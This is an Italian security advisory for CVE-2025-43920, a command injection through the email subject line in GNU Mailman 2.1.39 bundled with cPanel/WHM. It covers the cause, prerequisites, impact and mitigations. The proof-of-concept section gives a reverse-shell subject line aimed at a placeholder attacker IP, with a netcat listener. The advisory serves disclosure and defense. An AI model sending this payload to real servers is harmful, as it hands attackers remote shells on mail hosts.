CVE-2025-43920: Iniezione di comandi tramite oggetto dell'email in GNU Mailman 2.1.39 (pacchetto cPanel/WHM)

Scoperto da: Firudin Davudzada & Musazada Aydan
Data di divulgazione: Aprile 2025
CVE ID: CVE-2025-43920
Gravità: 5.4 Media (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Tipo di attacco: Remoto
Software interessato: GNU Mailman 2.1.39 (in bundle con cPanel/WHM)

Panoramica

GNU Mailman 2.1.39, come fornito in bundle con cPanel e WHM, è vulnerabile a un grave difetto di iniezione di comandi che consente ad aggressori non autenticati di eseguire comandi arbitrari del sistema operativo. La vulnerabilità si verifica quando un archiviatore esterno è configurato utilizzando PUBLIC_EXTERNAL_ARCHIVER o PRIVATE_EXTERNAL_ARCHIVER nel file di configurazione mm_cfg.py, e la riga dell'oggetto dell'email contiene metacaratteri della shell che non vengono adeguatamente sanificati. Ciò può portare alla compromissione totale del sistema, consentendo agli aggressori di stabilire shell inverse, esfiltrare dati o eseguire altre azioni dannose.

Dettagli della vulnerabilità

• Tipo di vulnerabilità: Iniezione di comandi
• Venditore: GNU Mailman (GNU Mailman)
• Versioni interessate: Mailman 2.1.39; probabilmente interessa le versioni 2.1.x precedenti (in attesa di regression test)
• Componenti interessati:
  • Configurazione dell'archiviatore esterno (PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)
  • Mailman/Handlers/ (logica di elaborazione dell'oggetto dell'email, potenzialmente inclusi file come CookHeaders.py)
• Causa principale: Quando un archiviatore esterno è configurato, la riga dell'oggetto dell'email può essere passata a un comando shell senza una sanificazione adeguata, consentendo l'esecuzione di comandi arbitrari se sono presenti metacaratteri della shell (ad es. ;, &, |).
• Stato: Nessuna correzione ufficiale disponibile. Mailman 2.1.x è giunto a fine vita (EOL); si consiglia vivamente la migrazione a Mailman 3.x.

Proof of Concept

Per sfruttare questa vulnerabilità, un aggressore può inviare un'email a una lista gestita da Mailman con una riga dell'oggetto dannosa, ad esempio:

Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Prerequisiti:

• La lista Mailman target deve avere un archiviatore esterno configurato tramite PUBLIC_EXTERNAL_ARCHIVER o PRIVATE_EXTERNAL_ARCHIVER.
• L'aggressore deve controllare un server di posta o un client in grado di inviare alla lista target.
• Un listener (ad esempio netcat) deve essere configurato su ATTACKERIP:4444 per ricevere la shell inversa.

Risultato atteso: Se il comando dell'archiviatore esterno non sanifica la riga dell'oggetto, il comando dannoso viene eseguito sul server, stabilendo una shell inversa verso il server dell'aggressore.

Vettori di attacco

• Vettore principale: Righe dell'oggetto delle email dannose contenenti metacaratteri della shell inviate a una mailing list gestita da Mailman con un archiviatore esterno configurato.
• Scenari di sfruttamento:
  • Stabilire shell inverse per accesso persistente.
  • Eseguire comandi per esfiltrare dati, modificare configurazioni o installare malware.
  • Combinare con altre vulnerabilità per escalare gli attacchi.
• Facilità di sfruttamento: Alta, poiché qualsiasi mittente di email può prendere di mira liste pubbliche o configurate in modo errato con un archiviatore esterno attivo.

Impatto sulla sicurezza

• Esecuzione di codice: Alta (esecuzione arbitraria di comandi del sistema operativo).
• Escalation dei privilegi: Alta (potenziale accesso root in base ai privilegi di esecuzione di Mailman).
• Divulgazione di informazioni: Alta (l'output dei comandi può rivelare dati di sistema).
• Denial of Service: Alto (i comandi dannosi possono bloccare o sovraccaricare il server).

Mitigazioni

Azioni immediate

• Disabilitare gli archiviatori esterni: Impostare PUBLIC_EXTERNAL_ARCHIVER e PRIVATE_EXTERNAL_ARCHIVER su None in mm_cfg.py per disabilitare la funzionalità di archiviatore esterno:

  root@kitploit:~

  PUBLIC_EXTERNAL_ARCHIVER = None
  PRIVATE_EXTERNAL_ARCHIVER = None
  

• Sanificare gli input: Se un archiviatore esterno è necessario, assicurarsi che il comando sanifichi la riga dell'oggetto per prevenire l'iniezione di metacaratteri della shell.

• Limitare le iscrizioni: Limitare le iscrizioni alle mailing list agli utenti fidati per ridurre l'esposizione.

Soluzioni a lungo termine

• Aggiornare a Mailman 3.x: Migrare a Mailman 3.x, che implementa una robusta sanificazione degli input ed è attivamente mantenuto.
• Disabilitare l'elaborazione delle email: Se non necessaria, disabilitare la funzionalità di elaborazione delle email di Mailman per eliminare il vettore di attacco.
• Rafforzare l'ambiente: Eseguire Mailman in un ambiente containerizzato con privilegi minimi per limitare l'impatto di potenziali exploit.

Cronologia

• Q1 2025: Scoperto durante una valutazione di penetration testing autorizzata.
• Q1 2025: Segnalato ai manutentori di GNU Mailman e cPanel.
• Aprile 2025: CVE assegnato da MITRE.
• Aprile 2025: Divulgazione pubblica tramite questo repository.

Riferimenti

• Codice sorgente di Mailman 2.1
• Registro CVE-2025-43920
• Raccomandazioni di sicurezza per Mailman
• INCIBE-CERT - CVE-2025-43920
• VULDB - CVE-2025-43920
• National Institute of Standards and Technology (NIST) - CVE-2025-43920
• Tenable - CVE-2025-43920

Riconoscimenti

Firudin Davudzada e Musazada Aydan hanno divulgato responsabilmente questa vulnerabilità durante un impegno di penetration testing autorizzato. Grazie al team MITRE CVE per il coordinamento.

Contatto

Email: [email protected]\